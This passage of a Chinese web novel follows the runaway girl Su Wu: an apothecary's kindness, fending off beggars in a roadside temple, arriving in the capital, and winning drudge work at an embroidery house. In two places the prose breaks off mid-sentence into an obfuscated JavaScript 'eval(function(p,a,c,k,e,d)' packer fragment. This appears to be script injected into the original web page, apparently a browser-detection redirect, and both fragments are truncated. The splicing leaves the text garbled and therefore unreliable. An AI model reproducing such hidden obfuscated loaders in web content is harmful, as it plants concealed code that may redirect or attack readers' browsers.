老者接过破布包，打开看了看，里面的草药虽然长得不算粗壮，却都新鲜完好，采得很用心，晒得也很干净，止血草、金银花、柴胡、艾草，样样都有，甚至还有几株罕见的远志，显然是懂草药的人采的。老者愣了一下，随即看向苏芜，眼底的同情更甚，还有一丝赞许：“这草药采得不错，品类也全，看来你是懂些草药的。” 苏芜微微低下头，没有说话，只是轻轻点了点头。她不想多说自己的事，言多必失，她只想赶紧换了干粮和药，离开这里。 老者看她不愿多言，也没有多问，显然是个通透的人，知道每个人都有自己的难处。他转身走进药铺，片刻后，拿着几文钱和两个温热的窝头走了出来，递给苏芜，又拿出一个小小的瓷瓶，放在她手里：“这草药值五文钱，这两个窝头，是老夫送你的，瓷瓶里是金疮药，治伤的，你拿去吧。看你这模样，怕是受了不少苦，敷上药，吃点东西，好好歇一歇。” 苏芜接过钱、窝头和瓷瓶，双手微微颤抖，心底涌起一股暖流，眼眶瞬间泛红。这是她逃离苏家后，第一次感受到陌生人的善意，这份善意，像一束微光，照亮了她灰暗的逃亡之路。她捏着温热的窝头，感受着那一点微弱的暖意，鼻尖发酸，对着老者深深鞠了一躬，声音哽咽：“谢……谢谢老先生，大恩不言谢，我以后一定会报答您的。” “报答就不必了。”老者摆了摆手，慈祥地笑了笑，“老夫开这药铺，本就是为了救人，你一个小姑娘，独自在外不容易，好好活下去就好。” 苏芜又鞠了一躬，没有再多说，拿着东西，转身就走。她不敢在药铺门口久留，怕引来村民的盘问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走了约莫两个时辰，日头渐渐偏西，冬日的白天很短，眼看就要天黑了。苏芜的脚又开始疼了，脚底的血泡又破了几个，磨得生疼，身上的力气也快耗尽了。她看到路边有一个破旧的土地庙，庙门敞着，里面空荡荡的，只有一个破旧的土地公雕像，落满了灰尘。她犹豫了片刻，走进了土地庙，决定在这里歇一夜，等天亮了再继续赶路。 土地庙虽然破旧，却能遮风挡雨，比在雪地里强多了。苏芜找了一块干净的石头，坐在上面，把身上的破布扯了扯，铺在地上，又把怀里的布包放在旁边，当作枕头。她靠在土地公雕像的底座上，疲惫感瞬间席卷而来，眼皮越来越沉，可她不敢睡熟，只能半睁着眼睛，警惕地听着外面的动静。 这一路，她经历了太多的险象，早已不敢轻易相信任何人，也不敢轻易放松警惕。 就在她昏昏欲睡的时候，庙门外传来了几声脚步声，还有男人的说话声，带着几分痞气。苏芜的意识瞬间清醒，立刻站起身，躲在土地公雕像的后面，屏住呼吸，听着外面的动静。 “老大，你看这土地庙里好像有人，是不是个小姑娘？”一个尖细的声音响起。 “进去看看！这大冬天的，一个小姑娘独自在这庙里，肯定有油水可捞！”另一个粗声粗气的声音响起，带着几分凶狠。 紧接着，三个穿着破烂棉袄的乞丐走了进来，手里拿着木棍，脸上带着不怀好意的笑，目光在庙里四处搜寻。他们看到了苏芜放在石头上的窝头，眼睛瞬间亮了起来，又看到了躲在雕像后面的苏芜，一步步走了过来。 “原来是个小乞丐，还藏着窝头，倒是挺会藏的。”那个粗声粗气的乞丐头子冷笑一声，伸手就要去抢苏芜怀里的布包，“把你身上的东西都交出来，还有那几文钱，不然今天就打断你的腿！” 苏芜下意识地往后退了一步，紧紧攥着怀里的布包，眼底闪过一丝恐惧，却更多的是倔强。这布包里的东西，是她活下去的希望，她绝不能交出去。 “我没有钱，也没有别的东西，只有一点草药和一个窝头，你们放我走吧。”苏芜的声音带着一丝颤抖，却依旧挺直了脊背，不肯低头。 “没有钱？骗谁呢！”尖细声音的乞丐骂道，“看你这模样，肯定是藏起来了，老大，别跟她废话，直接抢！” 三个乞丐说着，就朝着苏芜扑了过来，手里的木棍挥向她。苏芜知道，自己打不过他们，可她不能坐以待毙，为了活下去，她必须反抗。 她侧身躲开乞丐头子的木棍，顺手从地上捡起一块石头，朝着尖细声音的乞丐砸去，石头砸在乞丐的额头上，疼得他嗷嗷直叫。乞丐头子见状，更加生气，挥着木棍朝着苏芜的胳膊打去，苏芜躲不开，胳膊被木棍砸中，一阵钻心的疼，险些摔倒。 可她依旧没有放弃，捡起地上的荆棘枝，朝着他们挥舞着，荆棘的尖刺划在乞丐的身上，疼得他们连连后退。她的眼睛红了，像一头被逼到绝境的小兽，带着一股同归于尽的狠劲：“你们别过来，再过来，我就和你们同归于尽！” 三个乞丐看着苏芜这副模样，愣了一下。他们本以为这是个软弱可欺的小姑娘，没想到却这么狠，手里的荆棘枝挥舞得虎虎生风，身上的伤一处连着一处，却依旧不肯低头，那股倔强的劲儿，让他们心里生出了一丝怯意。 而且这土地庙离附近的村落不远，若是闹得太大，引来村里人，他们讨不到好，反而会被打一顿。 乞丐头子咬了咬牙，狠狠瞪了苏芜一眼：“臭丫头，算你狠！我们走！” 说完，带着另外两个乞丐，骂骂咧咧地离开了土地庙。 苏芜直到看不到他们的身影，才缓缓放下手里的荆棘枝，浑身脱力，瘫坐在地上，大口大口地喘着气。她的胳膊被木棍砸得青紫，疼得抬不起来，身上的伤口又裂开了几处，血珠渗出来，可她却笑了，笑得眼泪都流了出来。 她赢了，她靠着自己的力量，保护了自己，保护了活下去的希望。 这一次，她没有再隐忍，没有再任人欺凌，她知道，在这乱世里，想要活下去，就必须学会反抗，必须让自己变得强大。 苏芜靠在雕像的底座上，擦了擦脸上的眼泪和血，重新包扎了伤口，然后拿起那个剩下的窝头，掰了一点点，放进嘴里。窝头已经凉了，可她吃得依旧香甜，因为这是她用自己的力量换来的，是属于她的，活下去的滋味。 夜色渐浓，土地庙里一片漆黑，只有窗外的月光，洒进来一点微弱的光。苏芜靠在雕像的底座上，渐渐睡着了，这一夜，她睡得很沉，或许是因为太累了，或许是因为，她终于感受到了一丝活下去的希望。 第二天一早，天刚蒙蒙亮，苏芜就醒了。她揉了揉眼睛，伸了伸僵硬的身子，身上的伤依旧很疼，可她的精神却好了很多。她收拾好自己的东西，把布包紧紧揣在怀里，走出了土地庙。 外面的雪又下了起来，细细的雪沫子飘在天上，落在身上，冰凉的。可苏芜的心里，却带着一丝暖意，还有一丝坚定。 她抬头看了看东南方，太阳正从东方升起，洒下一点微弱的阳光，照亮了前方的路。 她深吸一口气，抬脚朝着京城的方向，一步步走去。 她的身影单薄而渺小，走在茫茫的雪地里，像一株倔强生长的野草，迎着寒风，迎着风雪，朝着那束名为希望的光，一步步走去。 前路依旧茫茫，依旧有无数的险象和艰难在等着她，可她再也不会害怕，再也不会退缩。 因为她知道，只要她一直走下去，一直不放弃，总有一天，她能走到京城，能靠着自己的力量，活成自己的光。 而那些曾经的苦难和欺凌，都会成为她成长的勋章，刻在她的骨血里，让她变得更加坚强，更加勇敢。 这一路，她走了整整七天。 七天里，她风餐露宿，渴了就喝雪水，饿了就吃一点点窝头，累了就靠在树下歇一歇，身上的伤好了又裂，裂了又好，脚底的血泡磨成了茧，可她从来没有停下脚步。 她走过了一个个村落，一条条土路，遇到了善良的人，也遇到了心怀不轨的人，她靠着自己的草药知识，换过干粮，换过船票，也靠着自己的倔强和狠劲，躲过了一次又一次的危险。 七天后，她站在一条宽阔的河边，河面上停着大大小小的船只，远处的天际，能看到一座巍峨的城池，城墙高耸，青砖黛瓦，在阳光的照耀下，显得格外雄伟。 那是京城。 她终于走到了。 苏芜站在河边，看着远处的京城，眼眶瞬间泛红，眼泪顺着脸颊滑落，这一次，不是因为疼痛，不是因为委屈，而是因为庆幸，因为激动，因为终于看到了活下去的希望。 她抬手抹了一把脸上的眼泪，攥紧了怀里的布包，眼底闪过一丝坚定的光芒。 京城，我来了。 3. 京华初至·泥途求生 朔风卷着细碎的雪沫子，刮过宽阔的河面，河面上的冰碴子被吹得叮当作响，苏芜站在河岸边，望着远处那座巍峨矗立的城池，指尖攥得发白，连身上的疼痛都仿佛淡了几分。那便是京城，是她撑着一口气，走了七天七夜，跨过雪山坳、走过荒土路、忍饥挨饿也要抵达的地方。城墙由青灰色的巨石砌成，高有三丈，墙头上插着迎风招展的旌旗，朱红色的城门大开着，车水马龙进进出出，远远便能听到里面的叫卖声、车马声、谈笑声，交织成一片热闹的声响，与她一路行来的荒寂冷僻，宛若两个天地。 她的脚下是冻得坚硬的河滩，鞋早就磨穿了底，露出的脚趾冻得青紫发黑，沾着泥雪和血痂，每动一下都像是踩在刀尖上。身上的薄衣被划得千疮百孔，冷风顺着破口往里钻，刮在冻得僵硬的皮肤上，带来一阵阵刺骨的疼。额头的伤口虽敷了药，却因一路颠簸又裂开了些许，淡淡的血痕透过布条渗出来，黏在额前枯黄的碎发上。怀里的破布包被捂得温热，里面是剩下的几株草药和那枚装着金疮药的瓷瓶，还有那仅存的几文钱，这是她如今所有的身家，也是她在这陌生京城唯一的依仗。 苏芜深吸了一口冰冷的空气，那股寒气从鼻腔钻进肺里，让她忍不住打了个寒颤，却也让混沌的意识愈发清醒。她抬手抹了一把脸上的雪沫子，又理了理身上的破衣，尽量让自己看起来不那么狼狈，然后抬脚朝着那座城门走去。她的脚步很慢，一步一挪，脚底的疼痛阵阵袭来，每走几步，便要扶着旁边的枯树歇上片刻，可她的眼神却始终坚定，望着那座城门，不曾有半分动摇。 从河滩到城门，不过半里路，苏芜却走了近一个时辰。等她终于走到城门口时，日头已经升到了半空，冬日的阳光微弱，却也洒下了一点暖意，落在城门旁的石狮子上，镀上了一层淡淡的金光。城门口来往的行人络绎不绝，有穿着锦缎华服、骑着高头大马的权贵子弟，有挑着担子、吆喝叫卖的小商贩，有穿着粗布衣裳、步履匆匆的寻常百姓，还有推着独轮车、汗流浃背的脚夫。每个人的脸上都带着不同的神色，或意气风发，或精打细算，或疲惫不堪，却都有着属于自己的活法。 苏芜缩着身子，走在人群的边缘，尽量低着头，避开旁人的目光。她的模样太过狼狈，枯黄的头发乱糟糟地贴在脸上，身上的破衣沾满了泥雪和血污，脚上的破鞋露着脚趾，与周围的繁华格格不入，路过的行人都忍不住侧目，有人投来好奇的目光，有人露出嫌弃的神色，还有人低声议论着，说她是从哪里来的乞丐。 苏芜对此早已习以为常，在苏家十几年的欺凌，让她早已学会了无视旁人的目光，也学会了把自己的情绪藏在心底。她只是紧紧攥着怀里的布包，加快了脚步，想要快点走进城门，可刚走到城门口，就被守门的兵卒拦了下来。 那兵卒身材高大，穿着灰色的兵服，腰间挎着长刀，脸上带着倨傲的神色，见苏芜走过来，抬手便将她推了回去。苏芜本就体力不支，被这突如其来的一推，踉跄着后退了几步，险些摔倒，好不容易扶着旁边的石墩站稳，胸口一阵翻涌，差点吐出一口血来。 “哪来的叫花子，也敢往京城里闯？”兵卒皱着眉，厉声呵斥道，语气里满是鄙夷，“看你这模样，怕不是从哪个穷乡僻壤跑出来的，别是个小偷或者流民，赶紧滚，别在这碍眼！” 苏芜扶着石墩，缓缓直起身子，抬头看向那兵卒，声音又轻又哑，带着难以掩饰的疲惫，却依旧挺直了脊背：“官爷，我不是叫花子，也不是流民，我只是来京城讨生活的，求您行行好，让我进去吧。” “讨生活？”兵卒嗤笑一声，上下打量着苏芜，眼神里的鄙夷更甚，“就你这副模样，手无缚鸡之力，还想在京城讨生活？我看你是想进来混吃混喝吧！告诉你，京城不是你这种人能来的地方，赶紧滚，再敢靠近城门，别怪我对你不客气！” 说着，那兵卒又抬起脚，作势要踹苏芜。苏芜下意识地往后缩了缩，避开了他的脚，却没有后退，只是依旧望着他，眼底带着一丝倔强：“官爷，我真的是来讨生活的，我能干活，不怕苦不怕累，求您让我进去吧。” 她知道，若是进不了这京城，她一路的辛苦便都白费了，在这城外，荒无人烟，天寒地冻，她根本活不下去。京城是她唯一的希望，她无论如何，都要进去。 就在这时，旁边又走来一个兵卒，年纪稍长，脸上的神色稍缓，他看了看苏芜，又看了看那年轻兵卒，开口道：“行了，别跟一个小姑娘置气了，看她这模样，也确实可怜，想来是走了不少路才到这的。如今京城边上也不太平，放她进去吧，好歹是条性命，总不能让她冻死在城外。” 年轻兵卒闻言，撇了撇嘴，虽有不满，却也不敢反驳，只是狠狠瞪了苏芜一眼：“算你运气好，赶紧进去，别在这碍眼，要是敢在京城里惹事，看我不把你抓起来打板子！” 苏芜闻言，心中松了一口气，对着那年纪稍长的兵卒微微躬身，声音带着一丝感激：“谢谢官爷，谢谢官爷。” 说完，她便连忙抬脚，快步走进了城门。走过那道朱红色的城门，一股浓郁的人间烟火气扑面而来，与城外的冷寂截然不同。街道宽阔平整，由青石板铺成，街道两旁是鳞次栉比的店铺，酒肆、布庄、药铺、绣坊、当铺，一家挨着一家，店铺的招牌各式各样，有的镶金嵌玉，有的木牌墨字，都透着一股子繁华的气息。街道上的行人摩肩接踵，车马往来不绝，马蹄声、车轮声、叫卖声、谈笑声，交织在一起，热闹非凡。 苏芜站在街道旁，看着眼前的一切，一时间竟有些茫然。她从小生长在苏家村，那是个偏僻的小山村，全村不过几十户人家，最热闹的时候也不过是逢年过节的集市，哪里见过这样的繁华景象。朱门大院的高宅，雕梁画栋的楼阁，穿着绫罗绸缎的男女，珠光宝气的饰品，这一切都让她觉得陌生而遥远，仿佛自己与这个世界格格不入。 她就那样站在原地，站了许久，直到一阵寒风刮过，让她打了个寒颤，才回过神来。她低头看了看自己的模样，又看了看周围的繁华，心底涌起一丝酸涩，却也更加坚定了活下去的念头。京城再繁华，也有底层人的活法，她既然能从苏家逃出来，能走七天七夜到这里，就一定能在这京城里活下去。 她攥紧了怀里的布包，抬脚朝着街道深处走去。她不知道要去哪里，也不知道该做什么，只是漫无目的地走着，想要找一个能落脚的地方，找一份能糊口的活计。她走在街道的边缘，低着头，尽量避开来往的车马和行人，身上的破衣与周围的繁华形成了鲜明的对比，引来不少异样的目光，可她却毫不在意，只是一门心思地看着街道两旁的店铺，希望能找到一个招人的地方。 走了约莫一个时辰，苏芜的脚越来越疼，肚子也饿得咕咕叫，身上的力气也快耗尽了。她看到街道旁有一个卖窝头的小摊，蒸笼里的窝头冒着热气，散发出淡淡的玉米面香味，勾得她肚子里的馋虫直冒，喉咙里也干得发疼。她下意识地摸了摸怀里的几文钱，那是她卖草药换来的，也是她如今唯一的钱财，她犹豫了片刻，还是走到了小摊前。 摊主是一个中年妇人，穿着粗布衣裳，脸上带着淳朴的笑容，见苏芜走过来，便笑着问道：“小姑娘，要不要买窝头？一文钱两个，刚蒸出来的，热乎着呢。” 苏芜抬起头，看着蒸笼里的窝头，咽了咽口水，声音轻得像蚊子叫：“阿婆，我要一个窝头，一文钱可以吗？” 她身上只有五文钱，不能乱花，一个窝头，足以让她暂时填饱肚子，支撑着她继续找活计。 中年妇人看了看苏芜狼狈的模样，眼底闪过一丝同情，点了点头，从蒸笼里拿出一个温热的窝头，递给苏芜：“给你，小姑娘，看你这模样，怕是走了不少路吧，一个窝头够不够？不够阿婆再给你一个。” 苏芜接过窝头，那温热的触感从指尖传到心底，让她忍不住眼眶泛红。她连忙接过窝头，对着中年妇人躬身道谢：“谢谢阿婆，够了，够了。” 说完，她便拿出一文钱，递给中年妇人，然后转身走到旁边的墙角，背靠着冰冷的墙壁，小心翼翼地咬了一口窝头。温热的窝头带着淡淡的玉米面香味，吃进嘴里，软糯香甜，一股暖意从胃里窜遍全身，驱散了身上的些许寒意，也让她空荡荡的肚子，终于有了一丝饱腹感。 这是她进入京城后，吃到的第一口热乎饭，也是她一路逃亡以来，为数不多的能安心吃东西的时候。她吃得很慢，很认真，每一口都嚼得极细，仿佛要把这窝头的滋味，深深记在心里。一个窝头不大，很快便吃完了，可那股暖意，却久久地留在了她的心底。 吃完窝头，苏芜靠在墙壁上，歇了片刻，体力稍稍恢复了一点，便又起身，继续沿着街道往前走，寻找招人的店铺。她先后走到一家酒楼、一家布庄、一家粮铺，都怯生生地走进去，询问掌柜的要不要招人，可都被拒绝了。 酒楼的掌柜嫌她是个女子，又瘦小狼狈，干不了端茶倒水、擦桌扫地的活，还怕她弄脏了酒楼的桌椅，被客人嫌弃，直接让伙计把她赶了出来；布庄的掌柜嫌她没有户籍，怕惹上麻烦，说京城查户籍查得严，不敢用没有户籍的人，也把她拒之门外；粮铺的掌柜倒是看她可怜，可粮铺里的活都是扛粮食、搬麻袋的重活，她一个小姑娘，根本干不了，也只能婉言拒绝。 一次次的询问，一次次的拒绝，一次次的被驱赶，苏芜的心底渐渐涌起一丝失落，却也没有放弃。她知道，在这京城里，像她这样无依无靠、无户籍、无钱财的孤女，想要找一份活计，本就不易。她只能继续往前走，继续寻找机会，哪怕被拒绝一百次，一千次，她也要找到一份能糊口的活计。 她走了整整一个下午，从城南走到城北，又从城北走到城东，问了十几家店铺，都被拒绝了。有的掌柜直接闭门不见，有的伙计出言嘲讽，还有的甚至抢了她仅剩的一点窝头，把她推搡出门。她的身上又添了几处伤痕，胳膊被推搡时撞到了门框，青了一大片，额头的伤口也因为多次的颠簸和推搡，又开始渗血，可她却依旧咬着牙，没有哭，也没有退缩。 夕阳西下，冬日的白天很短，很快，天就渐渐黑了下来。街道两旁的店铺纷纷挂起了灯笼，橘黄色的灯光照亮了街道，让这繁华的京城，又多了几分暖意。可这份暖意，却与苏芜无关。她依旧走在街道上，脚步疲惫，眼神却依旧坚定，只是心底的茫然，却越来越浓。 她不知道自己该去哪里，也不知道今晚该在哪里落脚。京城的客栈，她住不起，哪怕是最便宜的通铺，也要几文钱一晚，她身上的几文钱，还要留着买吃的，根本不敢花。街道旁的破庙、城墙根，或许是她唯一的去处。 就在苏芜感到茫然无措的时候，一阵剧烈的咳嗽声传入了她的耳中。她循声望去，看到不远处的城墙根下，蜷缩着一个老乞丐，老乞丐穿着一件破旧的棉袄，头发花白，脸上布满了皱纹，正捂着嘴剧烈地咳嗽着，咳嗽得浑身发抖，看起来十分可怜。 苏芜犹豫了片刻，还是抬脚走了过去。她走到老乞丐面前，蹲下身，看着老乞丐，轻声问道：“老丈，您没事吧？” 老乞丐抬起头，看了看苏芜，眼神里带着一丝警惕，也带着一丝疲惫，摇了摇头，声音沙哑：“没事，就是老毛病了，咳咳……这天气太冷，受了寒，咳咳……” 苏芜看着老乞丐的模样，想起了自己一路的遭遇，也想起了那个给她窝头的中年妇人，还有那个放她进城的兵卒，心底涌起一丝恻隐之心。她从怀里的破布包里，掏出几株艾草和柴胡，这是她用来治风寒的草药，递到老乞丐面前：“老丈，我这里有一点草药，艾草和柴胡，能治风寒，您拿回去煮水喝，喝了能好受点。” 老乞丐看着苏芜递过来的草药，又看了看苏芜狼狈的模样，眼底的警惕渐渐散去，取而代之的是一丝诧异和感激：“小姑娘，你自己都这般模样，还把草药给我？这草药可是你的救命钱吧？” 苏芜摇了摇头，轻声道：“我还有一点，这草药对我来说，不算什么，您拿着吧，喝了能治咳嗽。” 老乞丐接过草药，攥在手里，眼眶微微泛红，对着苏芜拱了拱手：“谢谢你，小姑娘，你真是个好心人。我这老骨头，在这城墙根下待了好几年了，见多了世态炎凉，像你这样好心的小姑娘，不多见了。” 苏芜笑了笑，没有说话，只是从怀里掏出仅剩的一文钱，递给老乞丐：“老丈，这一文钱，您拿去买个窝头吃吧。” 老乞丐连忙摆了摆手，把钱推了回去：“不用不用，小姑娘，你这钱自己留着吧，你比我更需要。我在这城墙根下待久了，总能捡到点吃的，饿不死。倒是你，一个小姑娘，独自在京城里，不容易。” 苏芜见老乞丐不肯收，便也不再勉强，把钱收了回来，只是问道：“老丈，我是从外地来的，想来京城讨生活，可问了好多店铺，都不肯收我，您知道哪里还招人吗？不管什么活，我都能干，不怕苦不怕累，只要能给一口饭吃就行。” 老乞丐听了苏芜的话，沉吟了片刻，咳嗽了几声，才开口道：“小姑娘，你一个外地来的孤女，又没有户籍，想要在京城里找活计，确实不易。那些寻常的店铺，要么嫌你是女子，要么怕惹上户籍的麻烦，自然不肯收你。不过，我倒是知道一个地方，或许会招人。” 苏芜闻言，眼睛瞬间亮了起来，连忙问道：“老丈，是什么地方？求您告诉我。” “城南的锦绣阁，你听说过吗？”老乞丐缓缓开口道，“那是京城里最大的绣坊，生意做得很大，不仅做寻常百姓的生意，还做宫里的活计，店里的绣娘就有几十个，杂役也需要不少。前几天我路过那里，看到门口贴着招工的告示，招杂役，管吃管住，就是活累点，钱少点。不过，锦绣阁的管事听说很刻薄，尤其是那个张嬷嬷，欺软怕硬，对底下的杂役很严厉，你要是想去，可得做好吃苦的准备。” 锦绣阁？ 苏芜在心里默默念着这个名字，眼底闪过一丝希望。绣坊的杂役，她能做，挑水、劈柴、浆洗衣物、清扫院子，这些活，她在苏家做了十几年，早就轻车熟路了。管吃管住，这对她来说，已经是最好的条件了，哪怕活累点，钱少点，她也心甘情愿。 她对着老乞丐深深躬身，声音带着浓浓的感激：“谢谢老丈，谢谢您告诉我这些，大恩不言谢，我以后一定会报答您的。” “报答就不必了。”老乞丐摆了摆手，笑着道，“不过是一句话的事，小姑娘，你年纪轻轻，有这份心就好。只是那锦绣阁的张嬷嬷，确实不好相处，你去了之后，凡事多忍忍，少说话，多干活，别惹她不高兴，不然，怕是待不长久。” “我知道了，老丈，我会记住您的话的。”苏芜点了点头，把老乞丐的话记在了心里。 与老乞丐道别后，苏芜便抬脚，朝着城南的方向走去。此时，天已经完全黑了，街道两旁的灯笼亮着，照亮了前行的路，寒风依旧刮着，却吹不散苏芜心底的希望。她的脚步依旧疲惫，却比之前快了许多，因为她终于有了目标，有了方向。 从城东到城南，路途不近，苏芜走了近两个时辰。等她终于走到锦绣阁门口时，已经是深夜了。锦绣阁果然名不虚传，店铺的门面十分阔气，朱红色的大门，镶着铜钉，门旁立着两个石狮子，店铺的招牌是一块黑底金字的牌匾，上面写着“锦绣阁”三个大字，笔锋苍劲有力，一看便是出自名家之手。大门紧闭着，门口挂着两个大红灯笼，橘黄色的灯光照亮了门口的招工告示，告示上的字迹清晰可见，果然如老乞丐所说，锦绣阁正在招杂役，管吃管住，月钱二百文。 苏芜站在锦绣阁的门口，看着那扇紧闭的大门，又看了看招工告示，心底涌起一丝激动，也有一丝紧张。她知道，这是她在京城里活下去的唯一机会，她必须抓住这个机会，无论如何，都要留在锦绣阁。 她在锦绣阁的门口站了许久，直到天快蒙蒙亮时，才听到大门内传来了动静。她连忙整理了一下身上的破衣，理了理头发，站在门口，等着大门打开。 没过多久，锦绣阁的大门被打开了，一个穿着青色粗布衣裳的伙计走了出来，手里拿着扫帚，准备清扫门口的街道。那伙计看到站在门口的苏芜，愣了一下，随即皱着眉，厉声呵斥道：“你是谁家的丫头？怎么站在我们锦绣阁的门口？赶紧走，别在这碍眼！” 苏芜连忙上前一步，对着那伙计躬身，声音带着一丝紧张，也带着一丝恳求：“小哥，我是来应聘杂役的，我看到门口的招工告示了，求您行行好，让我进去见见张嬷嬷，我什么活都能干，不怕苦不怕累，求您给我一个机会。” 那伙计上下打量着苏芜，见她狼狈的模样，撇了撇嘴，语气里满是鄙夷：“就你这副模样，还想来我们锦绣阁当杂役？我们锦绣阁可是京城里最大的绣坊，岂是你这种叫花子能来的地方？赶紧走，别在这耽误我干活，不然我喊人了！” 说着，那伙计便拿起扫帚，作势要赶苏芜走。苏芜连忙往后退了几步，却依旧不肯离开，只是对着那伙计躬身道：“小哥，求您了，我真的能干活，我在乡下做了十几年的活，挑水、劈柴、浆洗衣物，什么都会做，求您让我进去见见张嬷嬷吧，哪怕让我先干几天活，不要钱也行。” 她的声音带着一丝哽咽，却依旧坚定，眼底满是恳求。 就在这时，一个略显尖细的女声从门内传了出来：“外面吵什么？大清早的，扰了绣娘们干活，仔细你们的皮！” 话音未落，一个穿着深蓝色布裙、梳着发髻、脸上带着刻薄神色的中年妇人走了出来，正是锦绣阁的管事张嬷嬷。张嬷嬷约莫四十多岁，身材微胖，脸上的肉挤在一起，眼神里带着倨傲和刻薄，一看就是个不好相处的人。 那伙计见张嬷嬷出来了，连忙放下扫帚，躬身道：“张嬷嬷，是个叫花子，说想来应聘杂役，我正赶她走呢。” 张嬷嬷抬眼看向苏芜，上下打量着她，眼神里的刻薄和鄙夷更甚，像刀子一样刮在苏芜的身上：“就你这副模样，也想来我们锦绣阁当杂役？我看你是想进来混吃混喝吧？我们锦绣阁收杂役，也是要身强力壮的，你看看你，瘦得跟个猴似的，风一吹就倒，能干嘛活？赶紧滚，别在这碍眼，要是再敢纠缠，我就让人把你打出去！” 苏芜看着张嬷嬷，心里咯噔一下，知道老乞丐说的没错，这张嬷嬷果然十分刻薄。可她不能放弃，这是她唯一的机会，她咬了咬牙，对着张嬷嬷深深躬身，声音带着一丝恳求，却也带着一丝倔强：“张嬷嬷，我虽然瘦，但是我有力气，我在乡下做了十几年的活，什么苦活累活都干过，挑水、劈柴、浆洗衣物、清扫院子，我样样都会，而且我做事麻利，从不偷懒。求您给我一个机会，哪怕让我先干三天活，不要钱，管我一口饭吃就行，如果您觉得我干得不好，再把我赶走，我绝无半句怨言。” 她说着，便直挺挺地站在原地，望着张嬷嬷，眼底满是坚定，没有半分退缩。 张嬷嬷看着苏芜这副模样，愣了一下，她本以为这是个软弱可欺的小姑娘，几句话就能把她赶走，没想到她竟如此倔强。她又上下打量了苏芜一番，见她虽然狼狈，却眼神坚定，身上透着一股韧劲，不像是个偷懒耍滑的人。而且，锦绣阁最近确实缺杂役，绣娘们的活多，杂役们忙不过来，招一个免费的劳力，干几天活，也不吃亏。若是她干得不好，再把她赶走便是。 张嬷嬷沉吟了片刻，嘴角勾起一抹刻薄的笑：“好，既然你这么说，那我就给你一个机会，让你留下来干三天活，不要钱，管你一口饭吃。若是这三天里，你干得不好，或者敢偷懒耍滑，我就直接把你赶出去，再也不许你靠近锦绣阁半步！而且，我们锦绣阁的规矩多，杂役要天不亮就起来干活，干到天黑才能歇着，什么活脏什么活累，就干什么活，你能受得了吗？” “我能受得了！”苏芜连忙点头，声音带着一丝激动，“谢谢张嬷嬷，谢谢张嬷嬷，我一定好好干活，绝不偷懒，绝不惹您不高兴！” “哼，希望你说到做到。”张嬷嬷冷哼一声，对着旁边的伙计道，“带她进去，给她安排点活，让她先去劈柴挑水，把后院的水缸都挑满，再劈够十天的柴，要是天黑之前完不成，就别想吃饭！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她攥紧了拳头，深吸了一口气，走到水井旁，拿起水桶，开始挑水。水井很深，她费了九牛二虎之力，才打上来一桶水，水桶很重，她的身子瘦小，挑着水桶，脚步踉跄，走一步晃三下，水洒了不少，肩膀被扁担压得生疼，很快就红了一大片。可她却没有停下，挑了一趟又一趟，额头上的汗水顺着脸颊滑落，混着伤口的血痕，沾在脸上，狼狈不堪。 挑水挑到一半，她的肩膀就疼得抬不起来了，脚底的疼痛也阵阵袭来，身上的力气也快耗尽了。她靠在水缸旁，歇了片刻，喝了一口井里的冷水，又继续挑水。她知道，她不能停下，一旦停下，就可能完不成活计，就可能被张嬷嬷赶走，就可能失去这唯一的活下去的机会。 挑满五个大水缸，苏芜整整挑了三个时辰，等她挑完最后一桶水时，太阳已经升到了半空，她的肩膀被扁担压得青紫发黑，疼得抬不起来，脚底的血泡又破了几个，混着泥雪，疼得钻心，身上的汗水把破衣浸透了，又被冷风一吹，冻得她瑟瑟发抖。 可她没有丝毫歇息，又拿起斧头，走到柴房里，开始劈柴。柴房里的粗木柴，都是碗口粗的硬木，十分坚硬，她的力气小，一斧头下去，只能砍出一道浅浅的痕迹，震得她的胳膊发麻，虎口也被震裂了，渗出血丝。可她依旧没有放弃，一下又一下，用力地劈着柴，胳膊酸了，就歇上片刻，虎口疼了，就用布条缠上，继续劈。 绣娘们绣活累了，会到后院来歇息，看到苏芜劈柴的模样，有的露出同情的神色，有的露出鄙夷的神色，还有的低声议论着，说她是个乡下来的叫花子，也配来锦绣阁当杂役。苏芜对此都毫不在意，只是低头劈柴，把所有的精力都放在手上的活计里。 她知道，在这锦绣阁里，她无依无靠，没有背景，没有钱财，只能靠自己的双手干活，靠自己的隐忍活下去。旁人的目光，旁人的议论，都不重要，重要的是，她能留下来，能活下去。 从清晨到傍晚，从日头初升到夕阳西下，苏芜几乎没有停歇过，一直在挑水、劈柴。中间，后厨的杂役给她送来了一个窝头，这是她今天的午饭，她接过窝头，匆匆吃了几口，便又继续干活。 夕阳西下，天色渐渐黑了下来，锦绣阁里的灯笼纷纷挂了起来，橘黄色的灯光照亮了院子。苏芜终于劈完了最后一根木柴，柴房里的柴，堆得整整齐齐，足够锦绣阁用十天了。五个大水缸，也被挑得满满当当，一滴水都没有洒出来。 她放下斧头，瘫坐在柴房的门口，浑身脱力，连抬手的力气都没有了。她的肩膀疼得厉害，胳膊酸得抬不起来，虎口裂了一道大口子，渗着血，脚底的血泡破了又磨，磨了又破，早已麻木，身上的破衣被汗水和泥雪浸透，冻得她瑟瑟发抖。可她的脸上，却露出了一丝浅浅的笑容。 她做到了，她完成了张嬷嬷安排的活计，她能留下来了。 就在这时，张嬷嬷走了过来，看着院子里满满的水缸和柴房里堆得整整齐齐的木柴，眼底闪过一丝诧异，随即又恢复了刻薄的神色，上下打量着苏芜，冷哼一声：“算你还有点眼力见，知道好好干活，今天的活，算你完成了。以后，你就留在锦绣阁当杂役吧，管吃管住，月钱二百文，记住了，在锦绣阁里，要守规矩，少说话，多干活，别惹事，不然，我随时能把你赶出去！” 苏芜闻言，心中松了一口气，连忙撑着身子，站起身，对着张嬷嬷躬身道：“谢谢张嬷嬷，谢谢张嬷嬷，我一定记住您的话，好好干活，绝不惹事。” 